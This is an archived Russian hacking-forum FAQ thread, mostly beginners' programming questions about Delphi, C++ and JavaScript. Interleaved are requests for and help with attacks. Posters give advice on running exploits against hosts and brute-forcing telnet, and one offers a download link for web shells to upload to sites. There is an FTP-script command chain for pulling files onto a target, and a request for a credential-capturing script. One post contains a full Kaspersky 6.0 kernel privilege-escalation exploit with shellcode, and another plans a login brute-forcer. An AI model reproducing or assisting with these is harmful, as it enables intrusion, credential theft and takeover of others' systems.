PDA

Просмотр полной версии : Вопросы для новичков! (faq)


PEPSICOLA
26.12.2004, 15:40
Кто то только начал или решил учиться? Задавайте свои вопросы здесь, постараюсь ответить.

SHiTS
26.12.2004, 18:10
я первый,кхм
как использовать эксплоиты,качаю их в txt виде а дальше что с ними делать?

З.Ы.пасиб за тему

madnet
26.12.2004, 20:28
Смотря на чем написан exploit - скорее всего на С
Тогда компилишь его и запускаешь
Скорее всего появиться сообщение типа
использовать host:port
Согласно этому вводишь данные того компа куда тарвишь експлоит и все

SHiTS
26.12.2004, 22:15
всегда бы так...

еще вопрос
telnet как я понял -прога для чего-то удаленного на компе(управления что ли),так вот,есть ли способы взлома пасса на telnet?если есть то какие?

madnet
27.12.2004, 03:26
Классический Брутфорс

SHiTS
28.12.2004, 11:16
ишо вопрос))
как узнать версию форума,внизу написано powered by phpbb и все.
пишите.

SHiTS
28.12.2004, 11:25
ну и еще)
если форум пхп 2.0.8 то какие там уязвимости?
если можно то поподробнее

SHiTS
28.12.2004, 13:33
echo open xxx.xxx.xxx.xxx>go&&echo a>>go&&echo a>>go
вот эту команду пишу,всё ок,далее запускаю Pablo's FTP(прога такая) -делая всё как на видео,но болты!
после команды ftp -s:go
что тут не так?
может go эт файл какой-то?
пишите.

PEPSICOLA
29.12.2004, 04:58
А причем тут delphi, C++, java и программирование вообщем?

SHiTS
29.12.2004, 12:52
тьфу блин,я думал вопросы любые можно задавать
блин,ну ладно...

Xalegi
02.01.2005, 15:52
я тоже.. читаю.. думаю.. чё за нафиг =)

чисто ламерский вопрос...

Делфи... Си... Ассамблер... что лучше изучить в идеале? (знаю более менее все эти три вещи... ну тока в общих чертах:( )

вот я знаю хорошо явускрипт... это как говорят Си минус... значит лучше мне хорошенько замутить Си+ ? ну он проще пойдёт чем делфя...

хотя про ассмблер тоже надо многое знать...

что чаще применяется и для чего?

aX0en
03.01.2005, 16:55
люди у меня вопрос?
Можете предложить скрипт который бы брал вводимые поля login и password и к примеру отсылал на e-mail....

вут
05.01.2005, 06:34
привет хочу узнать название проги которая может "видеть насквозь" "Знакомства@mail.ru", например отслеживать вошедших. Судя по всему она довольно широко распространенна.
В этом можно убедиться зайдя на сайт, зарегистрироваться девушкой и буквально за несколько мин вас отловят(затикает щетчик кол-ва просмотров) если не лазил на этом сайти, то на счетчик если щелкнуть весь расклад выдадут кто "шпионил". Я когда так замутил там сразу немци(наши за бугром), турок и москвич появились. Из общения с "немцем" я узнал(он сампризнался, бумял то, что на него герла запала хи-хи), что такая прога реально сществует, но давать отказался.


Не знаю кого и спросить по этому поводу, на удачу к тебе залез. Ты мож и не знаеш, но мож че полезное подскажеш?

Вопрос по теме( прошу пордона, что выше не в тму было):
Я в тех языках, которые в заголовки темы стоят не в зуб ногой. Если начать осваивать, то какой посоветуеш(я сообразительный вообще)?

Demerus
05.01.2005, 20:49
Кто то только начал или решил учиться? Задавайте свои вопросы здесь, постараюсь ответить.

Я тут недавно поставил ДЕЛЬФЮ 7... разбираюсь с ней пока :)
но вот в чем проблема У меня стоит WIN 2000 ВСЕБЫ ХОРОШО, НО Я У МЕНЯ ПОЯВИЛИСЬ НЕКОТОРЫЕ ПРОБЛЕМЫ...
НАЧАЛ ГЛЮЧИТЬ ДИСПЕЧЕР ЗАДАЧЬ :(
Кликаешь на него, а он либо загружается но чаще всего выводит ошибку, мол инструкция по адресу 0x008f335 ссылается на адрес 0x003222, который нельзя прочитать...
ЧТО ЗА ГАДОСТЬ ТАКАЯ???
НО ВОПРОС НЕ В ЭТОМ ...
ВСПЛЫВАЕТ ЭТА ОШИБКА И ТАМ МОНА НАЖАТЬ НЕ ТОЛЬКО "ОК" но и "отмена" ("отмены" небыло до установки ДЕЛФИ)
нажимаю я "OK" и он игнорирует эту ошиьку нижимаю "ОТМЕНА" он запускае ДЕЛФЮ и предлогает отредактировать адреса, причем разумеется указывает неправильные фдреса (0x008f335)...

ЛЮДИ УМНЫЕ!!!! ПОДСКАЖИТЕ ЧТО К ЧЕМУ!!! :confused: И ЕСЛИ ЗНАЕТЕ КАК МОЖНО В РУЧНУЮ ЭТУ ОШИБКУ ИСПРАВИТЬ, ТО ПОДСКАЖИТЕ ПЛИЗ!!!

заранее благодарен Demerus

haker-4ever
07.01.2005, 02:38
a TURBO PASKAL to samoje sto i Delphi?????

progit
04.02.2005, 16:09
a TURBO PASKAL to samoje sto i Delphi?????
Delphi это продолжение развития TP. В начале придумали ТР, а потом он развился в два языка, одним стали пользоваться буржуйские военные, а второй стал Delphi. Короче Delphi это объектно ориентированный PASCAl

PLatinum
06.02.2005, 12:51
Буду очень благодаен. Подскажите поалуйста а где взять shell для заливки на сайт? Спасибо заранее.._))

foreva
06.02.2005, 13:39
НАЧАЛ ГЛЮЧИТЬ ДИСПЕЧЕР ЗАДАЧЬ
Кликаешь на него, а он либо загружается но чаще всего выводит ошибку, мол инструкция по адресу 0x008f335 ссылается на адрес 0x003222, который нельзя прочитать...
ЧТО ЗА ГАДОСТЬ ТАКАЯ???
Вирус

Буду очень благодаен. Подскажите поалуйста а где взять shell для заливки на сайт? Спасибо заранее.._))
> Бери < (http://www.web-hack.ru/download/script/shells.rar)

PLatinum
07.02.2005, 23:50
Вот спасибо так спасибо))) БОЛЬШОЕ!!!!)

PEPSICOLA
08.02.2005, 03:27
PLatinum, что бы ящик пива ему принёс.

KEZ
09.02.2005, 15:36
Надо заметить что у паскаля и делфи общий только синтаксис... И языки это разные вообщемто. И совершенно разные компиляторы... И вообще C 4rever

SHiTS
09.02.2005, 15:40
Надо Си купить...а с Линухом он сразу идет?

KEZ
09.02.2005, 21:59
В никсах есть gcc - компилятор. Именно им обычно компилят сплойты. Удаленно.
Простейший вариатн
// file prog.c
int main(void)
{
printf("KEZZZZZZZZZZZZZ");
}

теперь gcc prog.c -o prog

Есть и другие. Но если надо для винды-бери VC++ 6.0SE

Morph
15.02.2005, 06:27
Да тут ваще не потеме говорят флейм разводят!!!
НУ ладно и я внесу свой вклад в историю общества =)
Чо бы спросить ?

S_T
19.02.2005, 17:46
Подскажите! какую информацию можно собрать при помоши Java?

Morph
19.02.2005, 19:09
То есть?

kqren
31.07.2005, 17:27
Kak na delphi 2005 realisovat obmen faylami tipa klient-server s pomohy standartnix komponentov?

KEZ
16.08.2005, 22:56
TClientSocket, TServerSocket

тьфу пойду помою клаву

Raider
17.08.2005, 01:44
Ваще-то помоему в Delphi2005 стандартные сокеты не
установленны(раз в Delphi7 их нет) но это не значит что их вобще нет, они просто не установленны
кароч вот как установить в Delphi7(в 2005 должно быть что-то похожее):
Component->Install packages->Add
далее:
X:\Program Files\Borland\Delphi7\Bin\dclsockets70.bpl

Как юзать сокеты:
http://www.yandex.ru/yandsearch?text=Delphi+%EF%EE%F1%FB%EB%EA%E0+%F4%E 0%E9%EB%EE%E2+%F7%E5%F0%E5%E7+%F1%EE%EA%E5%F2&stype=www

KEZ
17.08.2005, 02:34
Сокеты - это WindowsAPI. Как они могут быть неустановлены?


Delphi посылка файлов через сокет

Вот это некорректно. Сокеты - WinAPI. Причем и в unix (да и везде) они почти одинаковые.

или ты про TClientSocket, TServerSocket ? без них просто (и лутше) обойтись

Raider
17.08.2005, 04:02
Да именно про эти два компонента:
TClientSocket, TServerSocket, а так сокет он и в Африке сокет :)
IP+Port+Protocol(TCP или UDP)

KEZ
17.08.2005, 11:50
IP+Port+Protocol

Непонял смысл это фразы.

AIN
17.08.2005, 18:43
Совет делай на Api.
Не когда не прикасайтся к Gui

Raider
19.08.2005, 01:25
Непонял смысл это фразы.
Сокет - это логическое обозначение тройки которую Я перечислил.

.FUF
19.08.2005, 01:41
Сокет - это логическое обозначение тройки которую Я перечислил.
vs
IP+Port+Protocol

Абсолютно нелогично:)
В я.ру, если поискать, то скажут, что сокет это комбинация ip+port, т.е. почти по-твоему (и неправильно), ибо бывают ведь беcпортовые протоколы высокого уровня (например icmp, хотя там есть понятие порт, которое равно нулю).
Есть еще такая вещь как raw-сокеты, но это вообще отделный разговор - там работа идет с пакетами "доайпишного" уровня, и такие методы как connect() там естесно неприминимы (смори пример работы с raw сокетами в этом разделе, тема "Сниффер").

KEZ
19.08.2005, 02:14
Совет делай на Api.
Не когда не прикасайтся к Gui


ХАХА А как же по твоему создается окошко? API CreateWindowA/ExA/W/ExW. А диалол? DialogBox.../... А месаг бокс? MessageBoxA/....
И что значит "делай все на апи" - "без GUI" )) хихи

AIN
19.08.2005, 18:30
ХАХА А как же по твоему создается окошко? API CreateWindowA/ExA/W/ExW. А диалол? DialogBox.../... А месаг бокс? MessageBoxA/....
И что значит "делай все на апи" - "без GUI" )) хихи

А что по твоему API? GUI это программа использующая оконые процедуры!!! Это я думаю
Серверу не нужно!

AIN
19.08.2005, 18:43
Вобщето такие вещи я на ассемблере делаю.

Laggi
19.08.2005, 19:40
Вопрос по JavaScript:
В textarea есть 2 похожих (не очень-то хотя) параметра: disabled и readonly.
При определенных действиях я хочу, чтобы это параметры убирались.
Если стоит disabled (<textarea name="..." disabled>) - то проблем нет:
document.formname.name_of_textarea.disabled=false - отключает
А вот отключить readonly (<textarea name="..." readonly>) у меня не получается:
document.formname.name_of_textarea.readonly=false - не работает. Оно так и остается с параметром readonly.
Кто-нибудь может подсказать пример скрипта, как отключить readonly?

KEZ
22.08.2005, 04:04
А что по твоему API? GUI это программа использующая оконые процедуры!!! Это я думаю
Серверу не нужно!

GUI - это не программа. И не использующая оконные процедуры. Причем же тут сервер?
API - интерфейс, через который программа использует ресурсы ОС.


Вобщето такие вещи я на ассемблере делаю.


Покажи мне что ты сделал на ассемблере. Если бы ты на нем чтото делал, знал бы что GUI - это не просто когда программа рисует окошки...


(fasm)
format PE GUI 4.0

очень отличается от console.

Огромное кол-во ф-ий WinAPI и предназначено для работы с GUI.

Ты написал что надо использовать Api, и не трогать GUI. Ты ещё считаешь что это корректно? Весь ГУИ и построен на апи к слову.

AIN
23.08.2005, 16:34
Ух. Какой ты умный!!!


Выписано из книги.

GUI - Graphic Universal Interfaces.

Все программы, которые предназначены для выполнений в многозадачных платформах, таких как WINDOWS, а также которые используют универсал-
ьный интерфейс их называют GUI программы.



А нащет API просто он на DELPHI делает а DELPHI очень много занимает

nlp
09.09.2005, 23:16
О,старый,нудно-галимый вопрос =) ну всё же мало ли...
"Есть 1 комп, на котором установлен клиент, есть ещё 2 удалённых компа.
первый из которых имеет стат. ip(Static and dynamic address - Whois )+ Старман(провайдер такой) ;
У второго (dynamic address- Whois ) и СТВ(ещё один провайдер но другой ).
Если клиент соединяется с первым , то всё работает, если пытается соединиться со вторым, то пишем тайм аут.
Но это не самое страшное, страшное, что до второго компа с динамическим айпи и СТВ провайдером даже пинг и трэйсерт не доходит...request time out

***При запущенном сервере на удалённых машинах сканер портов пишет, что на первой машине всё ок, нужный порт открыт, а на второй машине косяк..значит нада как-то по-другому обращаться к компам с динамическим айпи...А ну разумеется на локалхосте всё работает как нужно..."
+Экстра - чё я тока не пробовал..самый последний вариант был скачать с соурсес.ру исходник такой проги, но даже он не работал...
+На мастерах дельфи сказали,что это возможно НАТ у провайдера не даёт подконнектится...может всё же что-то другое и как с ним бороться?

.FUF
10.09.2005, 09:29
1:

почитай на сайте прова ств про то как у них доступ в инет организован
если как ты сказал ип динамический, то 90% что он и есть реальный

ты говоришь что узнал тип адреса (статический/динамический) по хуизу - лучше проверь это дело на самом серваке, может быть, что адрес выдается клиентам не внешний (т.е. через нат), но динамический (если я не ошибаюсь, то ств это через спутник) - это вполне возможно, т.к. нат может быть подключен к канальному прову, который не удосуживается выдавать статические адреса

2:
хотя лучше проверить настройки фаера у себя и на серваке

3:
если ип динамический и его получает каждый клиент, то вероятно что ип уже сменился и он не был выдан другому клиенту

nilux
10.09.2005, 18:08
Помогите кто может.
Есть ли в delphi аналог ПХП функции md5 ?
Если есть то как ею пользаваться?

nerezus
10.09.2005, 19:36
компонент, причем стандартный

nilux
10.09.2005, 20:10
компонент IdCoderMD5 как им пользоваться, чтобы например зашифровать строку. Я никак не догоню.

.FUF
10.09.2005, 20:30
http://www.yandex.ru/yandsearch?rpt=rad&text=md5encode+delphi

mckie
18.09.2005, 00:52
А можно ли найти видео уроки по Microsoft Visual C++ 6.0

KEZ
18.09.2005, 01:59
А можно ли найти видео уроки по Microsoft Visual C++ 6.0


Нет, даже я до такого ещё не додумался...

qBiN
18.09.2005, 10:26
Блин,может вам еще такие уроки нужны "урок как установить программу"
с апачем урок был перебором.

mckie
18.09.2005, 10:39
Нет по установке уроков не надо а вот по написанию простейшей программы, начиная от создания заканчивая её выполнением былобы интерестно посмотреть.

Raider
19.09.2005, 01:03
*** Нет слов ***

зы
Может ещё надо снять видео как компьютор включать ? А потом будет часть Ii "выключение компьютера" , по роману Стивена Кинга =)))

mckie
20.09.2005, 10:10
*** Нет слов ***

зы
Может ещё надо снять видео как компьютор включать ? А потом будет часть Ii "выключение компьютера" , по роману Стивена Кинга =)))

ЛОЛ ! СПАМ !

Ты думаешь это смешно? Я в этом не чего смешного не вижу! Если вы все такие способные неужели сложно снять видео?

KEZ
20.09.2005, 11:57
Извини, лень читать предыдуший страницы. Какое тебе там надо видео то снять?

bul666
20.09.2005, 12:19
А че лень посмотреть на верх ? )))

Нет по установке уроков не надо а вот по написанию простейшей программы, начиная от создания заканчивая её выполнением былобы интерестно посмотреть.

x_Lex
20.09.2005, 16:10
компонент IdCoderMD5 как им пользоваться, чтобы например зашифровать строку. Я никак не догоню.
http://www.cobans.net/hashlib.php

Abra
20.09.2005, 16:51
Вопрос по Java-script. Т.к. я в нем нихрена не шпарю хотел спросить - кк по срадством Явы сделать такую фигню - при нажатии на N-ную кнопку в опеределенном поле формы должен появляться некий текст. Кто ничерта не понял из того что я сказал объясняю проще - нужна система вроде той что добавляет смайлики в фрум когда пишешь сообщение:) То есть при нажатии на картинку смайлика в поле формы вставляется его код.
ЗЫ НО код должен вставляться именно туда, где в поле стоит курсор а не вместо всего поля! Скрип типа onClick(this.form.value)=":)" не подойдет.

Raider
21.09.2005, 01:39
ЛОЛ ! СПАМ !

Ты думаешь это смешно? Я в этом не чего смешного не вижу! Если вы все такие способные неужели сложно снять видео?

А может тебе сериал отснять ?

Raider
21.09.2005, 01:56
Вопрос по Java-script. Т.к. я в нем нихрена не шпарю хотел спросить - кк по срадством Явы сделать такую фигню - при нажатии на N-ную кнопку в опеределенном поле формы должен появляться некий текст. Кто ничерта не понял из того что я сказал объясняю проще - нужна система вроде той что добавляет смайлики в фрум когда пишешь сообщение:) То есть при нажатии на картинку смайлика в поле формы вставляется его код.
ЗЫ НО код должен вставляться именно туда, где в поле стоит курсор а не вместо всего поля! Скрип типа onClick(this.form.value)=":)" не подойдет.

Типа того:

<input name="text" value="">
<input type="button" value="ok" onclick="text.value=text.value + ':)'">

Это добавит текст в самый конец ...

Raider
21.09.2005, 02:17
2 Abra:

Тебе поможет просмотр исходного кода почти любого форума:

function emoticon(text) {
var txtarea = document.post.message;
if (txtarea.createTextRange && txtarea.caretPos) {
var caretPos = txtarea.caretPos;
caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
} else {
txtarea.value += text;
}
txtarea.focus();
}

document.post.message - post -> имя формы, message -> имя textarea

SanyaX
21.09.2005, 04:34
А может тебе сериал отснять ? Хех снимай я жду :).

Abra
21.09.2005, 10:30
2 Raider - примного благодарен :)

mckie
03.10.2005, 21:38
Ну что народ так не кто и не сделает видео?

neitral
22.08.2007, 19:03
вот вам видео уроки с++ http://www.reactioner.com/reaction/video.html

Nokia3310
26.08.2007, 09:35
Я недавно начил изучать Delphi.Мне нужна цель - какую программу вы посоветуете написать.

W!z@rD
26.08.2007, 11:06
мда...
1. Hello World
2. calc
3. notepad
4. TCP Server/Client
5. BDE
6. CGI
7. BDE+CGI

scrat
26.08.2007, 11:14
как включить поддержку acpi в ядре?)

neitral
26.08.2007, 12:11
Мужики не поможете с эксплоитам вот сам эксплоит и какие ошибки выдаёт при компиляцыи что сдесь нужна исправить. Буду примного блогадарен за помоч.
// kav 6.0 0day local priv escalation exploit
// by m4d
// http://unl0ck.net
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>


// r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"

unsigned char Shellcode[405] = {
0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B,
0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66,
0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF,
0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00,
0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D,
0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89,
0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1,
0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D,
0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02,
0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00,
0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45,
0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF,
0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F,
0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF,
0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74,
0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77,
0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00,
0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D,
0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8,
0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C,
0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24,
0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89,
0x6C, 0x24, 0x1C, 0x61, 0xC3
};




typedef struct _FIRST_PARAM {
ULONG SwitchIndex;
ULONG Unknown; // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..
ULONG Value; // this value will rewrite DWORD of memory
} FIRST_PARAM, *PFIRST_PARAM;





void main(int argc, char* argv[])
{
__try
{
FIRST_PARAM Param1;
ULONG Param2; // pointer to write DATA - 8
CHAR Idtr[6];
CHAR IsKAVInstalled;
OSVERSIONINFOEX os;


os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((LPOSVERSIONINFO)&os);

if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||
os.dwMajorVersion != 5 ||
os.dwMinorVersion > 1)
{
printf("This OS version unsupported\n");
return;
}

// Для начала определим, установлен ли KAV или нет

__asm {
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 0F8h // 2k
jmp short $+7
mov eax, 11Ch // xp
int 2Eh

cmp eax, 0Ch
setz al
mov IsKAVInstalled, al
}

if (!IsKAVInstalled)
{
printf("KAV6 didn't installed\n");
return;
}

Param1.SwitchIndex = 3; // Index of jmp in case of switch()
Param1.Unknown = 0xFF0002;

__asm {
pusha
sidt Idtr

mov eax, dword ptr [Idtr+2]

add eax, 0DAh * 8 - 8
mov Param2, eax

// Write lower DWORD IdtEntry

mov ecx, offset Shellcode
and ecx, 0000FFFFh
or ecx, 00080000h
mov Param1.Value, ecx // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]

push Param2
lea eax, Param1
push eax

mov edx, esp
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 100h // 2k
jmp short $+7
mov eax, 124h // xp
int 2Eh
add esp, 2*4

// Write high DWORD IdtEntry

add Param2, 4

mov ecx, offset Shellcode
and ecx, 0FFFF0000h
or ecx, 0000EE00h
mov Param1.Value, ecx // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]

push Param2
lea eax, Param1
push eax

mov edx, esp
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 100h // 2k
jmp short $+7
mov eax, 124h // xp
int 2Eh
add esp, 2*4

// Call Gate :-) (COLGATE)

push fs
int 0DAh
pop fs

popa
}

printf("Exploited successful\n");
}
__except(1) {
printf("Can't create interrupt gate\n");
}
}

// 15.01.07 MaD

// milw0rm.com [2007-01-15]

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++
ВОТ ОШИБКИ :
[C++ Error] 3131.c(78): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(78): E2510 Operand size mismatch
[C++ Error] 3131.c(79): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(79): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(81): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(81): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(113): E2017 Ambiguous member name 'Value'
[C++ Error] 3131.c(113): E2510 Operand size mismatch
[C++ Error] 3131.c(120): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(120): E2510 Operand size mismatch
[C++ Error] 3131.c(121): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(121): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(123): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(123): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(135): E2017 Ambiguous member name 'Value'
[C++ Error] 3131.c(135): E2510 Operand size mismatch
[C++ Error] 3131.c(142): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(142): E2510 Operand size mismatch
[C++ Error] 3131.c(143): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(143): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(145): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(145): E2329 Invalid combination of opcode and operands

Emory
02.09.2007, 14:12
Знаю языки turbo pascal (еще в школе) html(создавать сайт приходилось) и еще изучал vb.net но потом чет он надоел....
немного смотрел php perl но они сразу не даются...

так вот вопрос: что сейчас стоит изучить???
причем задач определенных нету...
Просто невозможно жить не изучая ( :D )
ну короче вот думаю.... не знай изучить до конца php чтоб в сайтах разбираться... а с другой вроде и проги для винды неплохо бы знать....

Piflit
02.09.2007, 14:19
З
немного смотрел php perl но они сразу не даются...
а ничего сразу не дается))
займись практикой php или начни c++/delphi. или, если совсем ничего не нравится, попробуй асм)

lastsmile
26.09.2007, 02:00
у меня вопрос по дельфи:
где можно найти литературу по автозаполнению форм на веб странице. перечитал много статей, читал на форумах... основной базе научился, но встречается много нюансов, поэтому хотелось бы найти специальзированную литературу.

GlOFF
26.09.2007, 12:04
lastsmile Я думаю нужно читать сразу специализированную литературу. Если не найти в сети, то в книжном магазине, т.к. это будет полная инфа.

Loker
10.12.2007, 00:49
Как включить сокеты на локальном серве?

Jes
10.12.2007, 01:24
Как включить сокеты на локальном серве?насколько я понял формулировку вопроса

в среде вин для этого существует прикладной интерфейс Windows Sockets , во как , собственно ws2_32.dll
http://www.codenet.ru/progr/visualc/socket.php
http://www.microsoft.com/Rus/Msdn/Magazine/2005/08/Winsock.mspx
в никсе юзай :
#include <sys/types.h>
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
(где Socket создает конечную точку соединения и возвращает ее описатель.)ну и , существует куча альтернативных компонентов и интерфейсов (например Indy в делфи)...

MSDN + RTFM = )

De-visible
09.07.2008, 18:07
Php не здесь

_nic
10.07.2008, 15:52
Может кто то будет настолько добр что набросает примерчик(С++).Как родить четко определенное число потоков А и как потом уменьшить его на число B

SlyBit
10.07.2008, 16:12
_nic

#define THREADS_NUMBER_A 10
#define THREADS_NUMBER_B 4
DWORD dwThreadsId[THREADS_NUMBER_A];
HANDLE hThread;

// Создаем потоки в количестве THREADS_NUMBER_A
for(int i=0; i<THREADS_NUMBER_A; i++) {
CreateThread(0, 0, (PTHREAD_START_ROUTINE)TestThread, 0, 0, &dwThreadsId[i]);
}

// Убиваем THREADS_NUMBER_B потоков
for(int i=THREADS_NUMBER_A-1; i>=THREADS_NUMBER_A-THREADS_NUMBER_B; i--) {
hThread = OpenThread(THREAD_TERMINATE, 0, dwThreadsId[i]);
TerminateThread(hThread, 0);
}

_nic
11.07.2008, 16:12
Ещё один не большой вопрос :) Как привязать выполнение определенного потока(или группы потоков) к определенному физическому ядру проца?

SlyBit
11.07.2008, 16:30
SetThreadIdealProcessor(HANDLE hThread, DWORD dwIdealProcessor);

dwIdealProcessor - № выбранного процессора

PEPSICOLA
14.07.2008, 19:13
Вообщем... нужно что бы профессионалы своего дела сделали плагины для icq/qip и т.д. - который будет называться PEPSIQ (пе-пси-кью).

Он автоматически должен в конец отсылаемого сообщения вставлять несколько штук закрывающих скобок, к примеру, я пишу соощение "Привет". А этот плагин должен отправить адресату в таком виде:
"Привет))))))"

По изготовлению данного плагина, просьба писать мне в PM!

_nic
17.07.2008, 21:00
Подскажите самый простой способ кодирования\декодирования бинарных файлов в MIME(компонент для борландбилдер,wininet ф-ция,или чтото в этом роде)
_____________________________________________
Нашел вроде сам(хоть и не совсем в MIME),один интересный исходник http://www.codenet.ru/progr/cpp/uu_base64encode.zip Но там 1 проблема с ф-цей strchr по 126й и 138й строках :mad: "Cannot convert const char * tochar*" Оно в принципе то и ясно что ф-ция вовращает немного не тот тип чем обьявленная переменная к которой приводится приравневание.Новот хелп борланда вводит меня в тупик :(

Prototype

char *strchr(const char *s, int c); /* C only */

const char *strchr(const char *s, int c); // C++ only
char *strchr( char *s, int c); // C++ only
wchar_t *wcschr(const wchar_t *s, int c);

unsigned char * _mbschr(const unsigned char *s, unsigned int c);

Подскажите кому не трудно как с этой ф-цией поступить

DeepXhadow
20.07.2008, 20:12
хочу написать брутфорсер к одной проге.Поснифал пакеты передаваемые с клента этой проги на сервер...Получилось вот что:
64 00 F0 B5 01 00 [xx xx xx xx xx xx xx] => login 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 [xx xx
xx xx xx ] => pass 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 19
Далее в зависимости от того,принял ли сервер авторизацию или нет генерируются
2 типа пакетов(условно да\нет).Так вот мысль моя была в том,чтобы мой брут брал списки логинов\паролей,переводил их в Hex и отправлял эти пакеты серверу...
Мои вопросы терь...
На каком языке это лучше реализовать? Я достаточно хорошо знаю лишь Perl и php, Паскаль ниже среднего...
Сейчас пытался реализовать все это в VB через соксы...но похоже ВБ не умеет(или скорей всего я не знаю как это сделать :)) отсылать пакеты так как они есть(в hex)...на сниффере вижно что прога отвравляет не то что мне нужно,а какую-то полную чушь...
Вот кусок кода..ногами сильно не бейте только

Private Sub Form_Load()
tcpClient.RemoteHost = "81.х.х.х"
tcpClient.RemotePort = 6900
End Sub

Private Sub Command1_Click()
tcpClient.Connect
tcpClient.SendData "64 00 F0 B5 01 00 66 72 61 70 73 39 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 72 61 70 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19"
Label1.Caption = tcpClient.GetData
End Sub
Заранее спасибо!

Delimiter
